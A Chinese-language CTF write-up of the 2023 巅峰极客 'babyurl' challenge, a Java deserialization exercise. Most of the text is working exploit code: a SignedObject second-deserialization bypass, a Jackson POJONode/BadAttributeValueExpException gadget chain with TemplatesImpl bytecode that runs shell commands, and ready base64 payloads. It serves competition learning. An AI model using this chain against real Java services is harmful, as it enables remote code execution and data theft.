巅峰极客ctf 2023 (上)
吐槽
这比赛这么卷是我没想到的(其实烧卖来找我的时候就应该意识到了) , 大伙都不用上班的吗(什么?tel爷上班还是出了,有人请假一道没做出)
还好没去烧卖,不然大概要被嫌弃
榜
接着膜烧卖
我们
学弟很强,带不动我这个废物罢了
babyurl
一个springweb,看controller,两个模板类,一个黑名单,
一眼看出来考察反序列化
看到黑名单
比较难蚌的是题目提供的两个模板类都在这里面,显然不可能绕过这两个东西不用,所以必然是想办法把resolveClass失效掉,比较常见的方法是
- 二次反序列化
- 修改黑名单(参考之前xctf Tel爷的非预期)
忘了说有个绕过开头file的限制
url:file:///flag.txt
如果枚举文件可以用这个协议
netdoc:///
(但是输出不会换行,凑合点看)
假如没有黑名单的话,直接这样构造:
package com.yancao.ctf.qaq;
import com.yancao.ctf.bean.URLHelper;
import com.yancao.ctf.bean.URLVisiter;
import java.io.*;
import java.security.*;
import java.util.Base64;
public class UrlTest {
public static void base64encode_exp(Object urlhelper) throws IOException, ClassNotFoundException {
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(urlhelper);
oos.close();
System.out.println(new String(Base64.getEncoder().encode(baos.toByteArray())));
}
public static void main(String[] args) throws IOException, ClassNotFoundException, NoSuchAlgorithmException, SignatureException, InvalidKeyException {
URLHelper urlhelper = new URLHelper("url:file:///flag");
urlhelper.visiter = new URLVisiter();
base64encode_exp(urlhelper);
}
}
本地测了一下没问题,也符合题目设计和内在原理
加上黑名单后想到几个常用的二次反序列化:https://tttang.com/archive/1701/#toc_wrapperconnectionpooldatasource
SignedObject
RMIConnector
WrapperConnectionPoolDataSource
那么这时候需要看依赖,我这次做不出来和这里不熟悉有关系
看pom.xml
...
<dependencies>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter</artifactId>
</dependency>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-test</artifactId>
<scope>test</scope>
</dependency>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-web</artifactId>
</dependency>
</dependencies>
...
首先解答一个问题
q: 当我使用maven拉去上面的依赖时,除了和spring-boot-starter,spring-framework有关的依赖,还会有jackson 和 snakeYaml依赖,请问这是为什么
a:这是因为spring-boot-starter
及其相关模块在其内部使用了Jackson
和SnakeYAML
库。
如果你希望查看具体的依赖树,可以使用以下Maven命令来查看:
mvn dependency:tree
jackson是org.springframework.boot:spring-boot-starter-test:jar:2.7.14:test的依赖
snakeYaml是org.springframework.boot:spring-boot-starter:jar:2.7.14:compile的依赖
误区就是有人搭环境搭多了,反序列化看依赖总是只看pom.xml,其实应该直接lib库的
当时其实技巧很重要,试了一下SignedObject,一通alt+enter自动修改报错发现是有依赖的,就快对了,
public static void main(String[] args) throws IOException, ClassNotFoundException, NoSuchAlgorithmException, SignatureException, InvalidKeyException {
URLHelper urlhelper = new URLHelper("url:file:///flag.txt");
urlhelper.visiter = new URLVisiter();
KeyPairGenerator keyPairGenerator = KeyPairGenerator.getInstance("DSA");
keyPairGenerator.initialize(1024);
KeyPair keyPair = keyPairGenerator.genKeyPair();
PrivateKey privateKey = keyPair.getPrivate();
Signature signature = Signature.getInstance(privateKey.getAlgorithm());
SignedObject signedObject = new SignedObject(urlhelper, privateKey, signature);
signedObject.getObject();
}
卡在不知道这么调getObject了,翻了以前的题目,思路还停在cb或hessian 调用getter方法 (2021)
之前有看过aliyunCTF的easyBean,但是看个思路而已没复现(而且秒忘),现在感觉真的是太亏了
aliyunCTF的easyBean调用链
BadAttributeValueExpException.toString -> FastJSON -> MyBean.getConnect -> RMIConnector.connect -> JNDI
翻到下面可以知道它也有readObject方法
toString的话,可以看到这个https://xz.aliyun.com/t/12509
里面讲述了如何通过BadAttributeValueExpException调用getter方法
BadAttributeValueExpException#readObject -> POJONode#toString -> getter
exp:
ClassPool pool = ClassPool.getDefault();
CtClass clazz = pool.makeClass("a");
CtClass superClass = pool.get(AbstractTranslet.class.getName());
clazz.setSuperclass(superClass);
CtConstructor constructor = new CtConstructor(new CtClass[]{}, clazz);
constructor.setBody("java.lang.Runtime.getRuntime().exec(\"calc\");");
clazz.addConstructor(constructor);
byte[][] bytes = new byte[][]{clazz.toBytecode()};
TemplatesImpl templates = TemplatesImpl.class.newInstance();
setValue(templates, "_bytecodes", bytes);
setValue(templates, "_name", "xx");
// setValue(templates, "_tfactory", null);
setValue(templates, "_tfactory", new TransformerFactoryImpl());
POJONode node = new POJONode(templates);
BadAttributeValueExpException val = new BadAttributeValueExpException(null);
Field valfield = val.getClass().getDeclaredField("val");
valfield.setAccessible(true);
valfield.set(val, node);
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(byteArrayOutputStream);
oos.writeObject(val);
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(byteArrayOutputStream.toByteArray()));
Object o = (Object)ois.readObject();
这道题不需要使用templateImpl,我们修改成我们的signedObject
public static void main(String[] args) throws IOException, ClassNotFoundException, NoSuchAlgorithmException, SignatureException, InvalidKeyException, NoSuchFieldException, IllegalAccessException {
URLHelper urlhelper = new URLHelper("url:file:///flag.txt");
urlhelper.visiter = new URLVisiter();
KeyPairGenerator keyPairGenerator = KeyPairGenerator.getInstance("DSA");
keyPairGenerator.initialize(1024);
KeyPair keyPair = keyPairGenerator.genKeyPair();
PrivateKey privateKey = keyPair.getPrivate();
Signature signature = Signature.getInstance(privateKey.getAlgorithm());
SignedObject signedObject = new SignedObject(urlhelper, privateKey, signature);
// signedObject.getObject();
POJONode node = new POJONode(signedObject);
BadAttributeValueExpException val = new BadAttributeValueExpException(null);
Field valfield = val.getClass().getDeclaredField("val");
valfield.setAccessible(true);
valfield.set(val, node);
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(byteArrayOutputStream);
oos.writeObject(val);
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(byteArrayOutputStream.toByteArray()));
Object o = (Object)ois.readObject();
本地跑了一下,file文件成功被写入flag.txt
但如文章所言会报错,需要删一下BaseJsonNode的writeReplace方法 (也可以学文章手动删,但是代码不够健壮)
用反射删一下
// 删除 jsonNode 的 writeReplace
try {
ClassPool pool = ClassPool.getDefault();
CtClass jsonNode = pool.get("com.fasterxml.jackson.databind.node.BaseJsonNode");
CtMethod writeReplace = jsonNode.getDeclaredMethod("writeReplace");
jsonNode.removeMethod(writeReplace);
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
jsonNode.toClass(classLoader, null);
} catch (Exception e) {
}
直接写在刚刚exp上面就好
最终exp
package com.yancao.ctf.qaq;
import com.fasterxml.jackson.databind.node.POJONode;
import com.yancao.ctf.bean.URLHelper;
import com.yancao.ctf.bean.URLVisiter;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtMethod;
import javax.management.BadAttributeValueExpException;
import java.io.*;
import java.lang.reflect.Field;
import java.security.*;
import java.util.Base64;
public class UrlTest {
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
public static void base64encode_exp(Object urlhelper) throws IOException, ClassNotFoundException {
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(urlhelper);
oos.close();
System.out.println(new String(Base64.getEncoder().encode(baos.toByteArray())));
}
public static void setValue(Object obj, String name, Object value) throws Exception{
Field field = obj.getClass().getDeclaredField(name);
field.setAccessible(true);
field.set(obj, value);
}
public static void main(String[] args) throws Exception {
URLHelper urlhelper = new URLHelper("url:file:///flag.txt");
urlhelper.visiter = new URLVisiter();
KeyPairGenerator keyPairGenerator = KeyPairGenerator.getInstance("DSA");
keyPairGenerator.initialize(1024);
KeyPair keyPair = keyPairGenerator.genKeyPair();
PrivateKey privateKey = keyPair.getPrivate();
Signature signature = Signature.getInstance(privateKey.getAlgorithm());
SignedObject signedObject = new SignedObject(urlhelper, privateKey, signature);
// 删除 jsonNode 的 writeReplace
try {
ClassPool pool = ClassPool.getDefault();
CtClass jsonNode = pool.get("com.fasterxml.jackson.databind.node.BaseJsonNode");
CtMethod writeReplace = jsonNode.getDeclaredMethod("writeReplace");
jsonNode.removeMethod(writeReplace);
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
jsonNode.toClass(classLoader, null);
} catch (Exception e) {
}
POJONode node = new POJONode(signedObject);
BadAttributeValueExpException val = new BadAttributeValueExpException(null);
setValue(val, "val", node);
// serialize(val);
// unserialize("ser.bin");
base64encode_exp(val);
}
}
hack?payload=rO0ABXNyAC5qYXZheC5tYW5hZ2VtZW50LkJhZEF0dHJpYnV0ZVZhbHVlRXhwRXhjZXB0aW9u1Ofaq2MtRkACAAFMAAN2YWx0ABJMamF2YS9sYW5nL09iamVjdDt4cgATamF2YS5sYW5nLkV4Y2VwdGlvbtD9Hz4aOxzEAgAAeHIAE2phdmEubGFuZy5UaHJvd2FibGXVxjUnOXe4ywMABEwABWNhdXNldAAVTGphdmEvbGFuZy9UaHJvd2FibGU7TAANZGV0YWlsTWVzc2FnZXQAEkxqYXZhL2xhbmcvU3RyaW5nO1sACnN0YWNrVHJhY2V0AB5bTGphdmEvbGFuZy9TdGFja1RyYWNlRWxlbWVudDtMABRzdXBwcmVzc2VkRXhjZXB0aW9uc3QAEExqYXZhL3V0aWwvTGlzdDt4cHEAfgAIcHVyAB5bTGphdmEubGFuZy5TdGFja1RyYWNlRWxlbWVudDsCRio8PP0iOQIAAHhwAAAAAXNyABtqYXZhLmxhbmcuU3RhY2tUcmFjZUVsZW1lbnRhCcWaJjbdhQIABEkACmxpbmVOdW1iZXJMAA5kZWNsYXJpbmdDbGFzc3EAfgAFTAAIZmlsZU5hbWVxAH4ABUwACm1ldGhvZE5hbWVxAH4ABXhwAAAAUHQAGmNvbS55YW5jYW8uY3RmLnFhcS5VcmxUZXN0dAAMVXJsVGVzdC5qYXZhdAAEbWFpbnNyACZqYXZhLnV0aWwuQ29sbGVjdGlvbnMkVW5tb2RpZmlhYmxlTGlzdPwPJTG17I4QAgABTAAEbGlzdHEAfgAHeHIALGphdmEudXRpbC5Db2xsZWN0aW9ucyRVbm1vZGlmaWFibGVDb2xsZWN0aW9uGUIAgMte9x4CAAFMAAFjdAAWTGphdmEvdXRpbC9Db2xsZWN0aW9uO3hwc3IAE2phdmEudXRpbC5BcnJheUxpc3R4gdIdmcdhnQMAAUkABHNpemV4cAAAAAB3BAAAAAB4cQB%2BABV4c3IALGNvbS5mYXN0ZXJ4bWwuamFja3Nvbi5kYXRhYmluZC5ub2RlLlBPSk9Ob2RlAAAAAAAAAAICAAFMAAZfdmFsdWVxAH4AAXhyAC1jb20uZmFzdGVyeG1sLmphY2tzb24uZGF0YWJpbmQubm9kZS5WYWx1ZU5vZGUAAAAAAAAAAQIAAHhyADBjb20uZmFzdGVyeG1sLmphY2tzb24uZGF0YWJpbmQubm9kZS5CYXNlSnNvbk5vZGUAAAAAAAAAAQIAAHhwc3IAGmphdmEuc2VjdXJpdHkuU2lnbmVkT2JqZWN0Cf%2B9aCo81f8CAANbAAdjb250ZW50dAACW0JbAAlzaWduYXR1cmVxAH4AG0wADHRoZWFsZ29yaXRobXEAfgAFeHB1cgACW0Ks8xf4BghU4AIAAHhwAAAAwKztAAVzcgAdY29tLnlhbmNhby5jdGYuYmVhbi5VUkxIZWxwZXIAAAAAAAAAAQIAAkwAA3VybHQAEkxqYXZhL2xhbmcvU3RyaW5nO0wAB3Zpc2l0ZXJ0ACBMY29tL3lhbmNhby9jdGYvYmVhbi9VUkxWaXNpdGVyO3hwdAAUdXJsOmZpbGU6Ly8vZmxhZy50eHRzcgAeY29tLnlhbmNhby5jdGYuYmVhbi5VUkxWaXNpdGVyTECyy3jST0ACAAB4cHVxAH4AHQAAAC8wLQIVAI9pYz8xwmNTrma1Ppg1tupLPSTRAhR6gdW7kLyJ%2Ftz%2BpB3b9EnlYIPPnnQAA0RTQQ%3D%3D
记得引入java反射依赖
<dependency>
<groupId>org.javassist</groupId>
<artifactId>javassist</artifactId>
<version>3.25.0-GA</version>
</dependency>
ps:要是当时搜到这个也可以秒了,可惜不知道前置(BadAttributeValueExpException)
以后真的要多关注一下新姿势!
由于Fastjson和jackson有不少相似之处,所以完全可以模仿fastjson
评价是真的菜了,太久没反序列化了,
-
学到一个新的二次反序列化(但是感觉别人早会了)
-
绕过file协议(这个是常考知识点)
还有一个值得提到的是,可以直接用templateImpl打rce,那这个题就多少有点非预期的感觉,直接就是个jackson原生反序列化,秒了
exp
package com.yancao.ctf.qaq;
import com.fasterxml.jackson.databind.node.POJONode;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.yancao.ctf.bean.URLHelper;
import com.yancao.ctf.bean.URLVisiter;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtConstructor;
import javassist.CtMethod;
import javax.management.BadAttributeValueExpException;
import java.io.*;
import java.lang.reflect.Field;
import java.security.*;
import java.util.Base64;
public class UrlTest {
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
public static void base64encode_exp(Object urlhelper) throws IOException, ClassNotFoundException {
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(urlhelper);
oos.close();
System.out.println(new String(Base64.getEncoder().encode(baos.toByteArray())));
}
public static void setValue(Object obj, String name, Object value) throws Exception{
Field field = obj.getClass().getDeclaredField(name);
field.setAccessible(true);
field.set(obj, value);
}
public static byte[] getTemplatesImpl(String cmd) {
try {
ClassPool pool = ClassPool.getDefault();
CtClass ctClass = pool.makeClass("Evil");
CtClass superClass = pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet");
ctClass.setSuperclass(superClass);
CtConstructor constructor = ctClass.makeClassInitializer();
constructor.setBody(" try {\n" +
" Runtime.getRuntime().exec(\"" + cmd +
"\");\n" +
" } catch (Exception ignored) {\n" +
" }");
byte[] bytes = ctClass.toBytecode();
ctClass.defrost();
return bytes;
} catch (Exception e) {
e.printStackTrace();
return new byte[]{};
}
}
public static void main(String[] args) throws Exception {
// URLHelper urlhelper = new URLHelper("url:file:///flag.txt");
// urlhelper.visiter = new URLVisiter();
//
//
// KeyPairGenerator keyPairGenerator = KeyPairGenerator.getInstance("DSA");
// keyPairGenerator.initialize(1024);
// KeyPair keyPair = keyPairGenerator.genKeyPair();
// PrivateKey privateKey = keyPair.getPrivate();
// Signature signature = Signature.getInstance(privateKey.getAlgorithm());
// SignedObject signedObject = new SignedObject(urlhelper, privateKey, signature);
TemplatesImpl templates = new TemplatesImpl();
setValue(templates,"_name", "aaa");
byte[] code = getTemplatesImpl("calc");
byte[][] bytecodes = {code};
setValue(templates, "_bytecodes", bytecodes);
setValue(templates,"_tfactory", new TransformerFactoryImpl());
// 删除 jsonNode 的 writeReplace
try {
ClassPool pool1 = ClassPool.getDefault();
CtClass jsonNode = pool1.get("com.fasterxml.jackson.databind.node.BaseJsonNode");
CtMethod writeReplace = jsonNode.getDeclaredMethod("writeReplace");
jsonNode.removeMethod(writeReplace);
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
jsonNode.toClass(classLoader, null);
} catch (Exception e) {
}
POJONode node = new POJONode(templates);
BadAttributeValueExpException val = new BadAttributeValueExpException(null);
setValue(val, "val", node);
serialize(val);
unserialize("ser.bin");
// base64encode_exp(val);
}
}
但是这个base64打过去有bug:
应该是pool变量的问题,还有,就是直接抄原文的
setBody("java.lang.Runtime.getRuntime().exec(\"calc\");");
会报错
改成这种(我笔记上也是写这种)
setBody("Runtime.getRuntime().exec(\"calc\");");
想执行linux语句这样改
setBody("Runtime.getRuntime().exec(new String[]{\"/bin/bash\", \"-c\", \"cat /F14gIsHereY0UGOTIT > /tmp/file\"});");
最终exp
package com.yancao.ctf.qaq;
import com.fasterxml.jackson.databind.node.POJONode;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.yancao.ctf.bean.URLHelper;
import com.yancao.ctf.bean.URLVisiter;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtConstructor;
import javassist.CtMethod;
import javax.management.BadAttributeValueExpException;
import java.io.*;
import java.lang.reflect.Field;
import java.security.*;
import java.util.Base64;
public class UrlTest {
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
public static void base64encode_exp(Object urlhelper) throws IOException, ClassNotFoundException {
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(urlhelper);
oos.close();
System.out.println(new String(Base64.getEncoder().encode(baos.toByteArray())));
}
public static void setValue(Object obj, String name, Object value) throws Exception{
Field field = obj.getClass().getDeclaredField(name);
field.setAccessible(true);
field.set(obj, value);
}
public static byte[] getTemplatesImpl(String cmd) {
try {
ClassPool pool = ClassPool.getDefault();
CtClass ctClass = pool.makeClass("Evil");
CtClass superClass = pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet");
ctClass.setSuperclass(superClass);
CtConstructor constructor = ctClass.makeClassInitializer();
constructor.setBody(" try {\n" +
" Runtime.getRuntime().exec(\"" + cmd +
"\");\n" +
" } catch (Exception ignored) {\n" +
" }");
byte[] bytes = ctClass.toBytecode();
ctClass.defrost();
return bytes;
} catch (Exception e) {
e.printStackTrace();
return new byte[]{};
}
}
public static void main(String[] args) throws Exception {
// URLHelper urlhelper = new URLHelper("url:file:///flag.txt");
// urlhelper.visiter = new URLVisiter();
//
//
// KeyPairGenerator keyPairGenerator = KeyPairGenerator.getInstance("DSA");
// keyPairGenerator.initialize(1024);
// KeyPair keyPair = keyPairGenerator.genKeyPair();
// PrivateKey privateKey = keyPair.getPrivate();
// Signature signature = Signature.getInstance(privateKey.getAlgorithm());
// SignedObject signedObject = new SignedObject(urlhelper, privateKey, signature);
ClassPool pool = ClassPool.getDefault();
CtClass clz = pool.makeClass("a");
CtClass superClass = pool.get(AbstractTranslet.class.getName());
clz.setSuperclass(superClass);
CtConstructor cc = new CtConstructor(new CtClass[]{}, clz);
cc.setBody("Runtime.getRuntime().exec(\"calc\");");
clz.addConstructor(cc);
byte[][] bytes = new byte[][]{clz.toBytecode()};
TemplatesImpl templates = TemplatesImpl.class.newInstance();
setValue(templates, "_bytecodes", bytes);
setValue(templates, "_name", "xxx");
setValue(templates, "_tfactory", new TransformerFactoryImpl());
// 删除 jsonNode 的 writeReplace
try {
// ClassPool pool1 = ClassPool.getDefault();
CtClass jsonNode = pool.get("com.fasterxml.jackson.databind.node.BaseJsonNode");
CtMethod writeReplace = jsonNode.getDeclaredMethod("writeReplace");
jsonNode.removeMethod(writeReplace);
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
jsonNode.toClass(classLoader, null);
} catch (Exception e) {
}
POJONode node = new POJONode(templates);
BadAttributeValueExpException val = new BadAttributeValueExpException(null);
setValue(val, "val", node);
serialize(val);
// unserialize("ser.bin");
base64encode_exp(val);
}
}
?payload=rO0ABXNyAC5qYXZheC5tYW5hZ2VtZW50LkJhZEF0dHJpYnV0ZVZhbHVlRXhwRXhjZXB0aW9u1Ofaq2MtRkACAAFMAAN2YWx0ABJMamF2YS9sYW5nL09iamVjdDt4cgATamF2YS5sYW5nLkV4Y2VwdGlvbtD9Hz4aOxzEAgAAeHIAE2phdmEubGFuZy5UaHJvd2FibGXVxjUnOXe4ywMABEwABWNhdXNldAAVTGphdmEvbGFuZy9UaHJvd2FibGU7TAANZGV0YWlsTWVzc2FnZXQAEkxqYXZhL2xhbmcvU3RyaW5nO1sACnN0YWNrVHJhY2V0AB5bTGphdmEvbGFuZy9TdGFja1RyYWNlRWxlbWVudDtMABRzdXBwcmVzc2VkRXhjZXB0aW9uc3QAEExqYXZhL3V0aWwvTGlzdDt4cHEAfgAIcHVyAB5bTGphdmEubGFuZy5TdGFja1RyYWNlRWxlbWVudDsCRio8PP0iOQIAAHhwAAAAAXNyABtqYXZhLmxhbmcuU3RhY2tUcmFjZUVsZW1lbnRhCcWaJjbdhQIABEkACmxpbmVOdW1iZXJMAA5kZWNsYXJpbmdDbGFzc3EAfgAFTAAIZmlsZU5hbWVxAH4ABUwACm1ldGhvZE5hbWVxAH4ABXhwAAAAbXQAGmNvbS55YW5jYW8uY3RmLnFhcS5VcmxUZXN0dAAMVXJsVGVzdC5qYXZhdAAEbWFpbnNyACZqYXZhLnV0aWwuQ29sbGVjdGlvbnMkVW5tb2RpZmlhYmxlTGlzdPwPJTG17I4QAgABTAAEbGlzdHEAfgAHeHIALGphdmEudXRpbC5Db2xsZWN0aW9ucyRVbm1vZGlmaWFibGVDb2xsZWN0aW9uGUIAgMte9x4CAAFMAAFjdAAWTGphdmEvdXRpbC9Db2xsZWN0aW9uO3hwc3IAE2phdmEudXRpbC5BcnJheUxpc3R4gdIdmcdhnQMAAUkABHNpemV4cAAAAAB3BAAAAAB4cQB%2BABV4c3IALGNvbS5mYXN0ZXJ4bWwuamFja3Nvbi5kYXRhYmluZC5ub2RlLlBPSk9Ob2RlAAAAAAAAAAICAAFMAAZfdmFsdWVxAH4AAXhyAC1jb20uZmFzdGVyeG1sLmphY2tzb24uZGF0YWJpbmQubm9kZS5WYWx1ZU5vZGUAAAAAAAAAAQIAAHhyADBjb20uZmFzdGVyeG1sLmphY2tzb24uZGF0YWJpbmQubm9kZS5CYXNlSnNvbk5vZGUAAAAAAAAAAQIAAHhwc3IAOmNvbS5zdW4ub3JnLmFwYWNoZS54YWxhbi5pbnRlcm5hbC54c2x0Yy50cmF4LlRlbXBsYXRlc0ltcGwJV0%2FBbqyrMwMABkkADV9pbmRlbnROdW1iZXJJAA5fdHJhbnNsZXRJbmRleFsACl9ieXRlY29kZXN0AANbW0JbAAZfY2xhc3N0ABJbTGphdmEvbGFuZy9DbGFzcztMAAVfbmFtZXEAfgAFTAARX291dHB1dFByb3BlcnRpZXN0ABZMamF2YS91dGlsL1Byb3BlcnRpZXM7eHAAAAAA%2F%2F%2F%2F%2F3VyAANbW0JL%2FRkVZ2fbNwIAAHhwAAAAAXVyAAJbQqzzF%2FgGCFTgAgAAeHAAAAFWyv66vgAAADQAGAEAAWEHAAEBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0BwADAQAGPGluaXQ%2BAQADKClWAQAEQ29kZQwABQAGCgAEAAgBABFqYXZhL2xhbmcvUnVudGltZQcACgEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsMAAwADQoACwAOAQAEY2FsYwgAEAEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsMABIAEwoACwAUAQAKU291cmNlRmlsZQEABmEuamF2YQAhAAIABAAAAAAAAQABAAUABgABAAcAAAAaAAIAAQAAAA4qtwAJuAAPEhG2ABVXsQAAAAAAAQAWAAAAAgAXcHQAA3h4eHB3AQB4
最后这里有点玄学,我多次重启springweb之后打过去才弹计算器